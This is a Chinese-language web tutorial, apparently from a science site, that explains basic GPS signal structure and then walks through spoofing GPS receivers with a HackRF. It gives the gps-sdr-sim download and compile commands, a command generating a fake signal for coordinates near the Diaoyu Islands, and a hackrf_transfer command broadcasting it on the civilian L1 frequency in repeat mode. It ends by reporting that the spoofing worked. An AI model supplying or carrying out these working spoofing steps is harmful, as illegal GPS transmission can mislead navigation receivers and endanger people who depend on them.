首頁>科學>

在對GPS欺騙之前,先對GPS的知識做一個簡單的介紹 GPS 系統本身非常複雜, 涉及到衛星通訊等各個領域. 這裡只是簡單介紹一下. 我們通常所說的 GPS 全球定位系統是由美國國防部建造完成. 目前在太空中共有31顆衛星在同時運作. 一般我們需要至少4顆衛星來完成三角定位. GPS衛星同時傳送民用L1和軍用L2兩種無線訊號. 我們通常使用的是沒有加密的L1民用 1575.42MHz 的超高頻波段。 GPS 訊號裡包含了3種常用資訊. Pseudorandom code: 簡單的ID 碼, 用來識別每顆衛星. Ephemeris data: 包含衛星的執行狀態, 時間日期等資訊. 這在通過衛星來定位起到非常重要的作用. Almanac data: 包含有每顆衛星的軌道資訊,以及衛星在某個特定時段將出現的具體位置. 利用hackrf進行位置欺騙

使用hackrf對GPS的欺騙用下面幾個步驟 工具下載,GPS欺騙用到了gps-sdr-sim,下載地址:https://github.com/osqzss/gps-sdr-sim.git ,之後使用gcc-mp-5 gpssim.c -lm -O3 -o gps-sdr-sim對原始碼進行編譯。 生成GPS模擬資料。使用剛才編譯過的gps-sdr-sim,具體的設定引數如下:

這裡我們把要偽造的地點選在祖國的釣魚島

./gps-sdr-sim -e brdc3540.14n -l 25.7458636192,123.4737110138,100 -b 8 (這裡-b的意思是取樣精度是8,預設是16,這裡hackrf -b設定為8成功率高)

hackrf 發射GPS資料,資料傳送的引數如下:

使用 $ hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R傳送GPS資料。 指定GPS資料,指定頻率為1575420000 即民用GPS L1波段頻率,指定取樣速率2.6Msps,開啟天線增益,指定TX VGA(IF)為0(為了限制影響範圍,最大為47慎用),最後開啟重複發射資料功能。

過一會後,GPS欺騙成功

204

GPS

黑客

最新評論
  • mRNA疫苗可誘導對SARS-CoV-2及其多種擔憂的變體的持久免疫記憶
  • 大約50億年後,太陽將變成紅巨星,有什麼方法可延長太陽的壽命?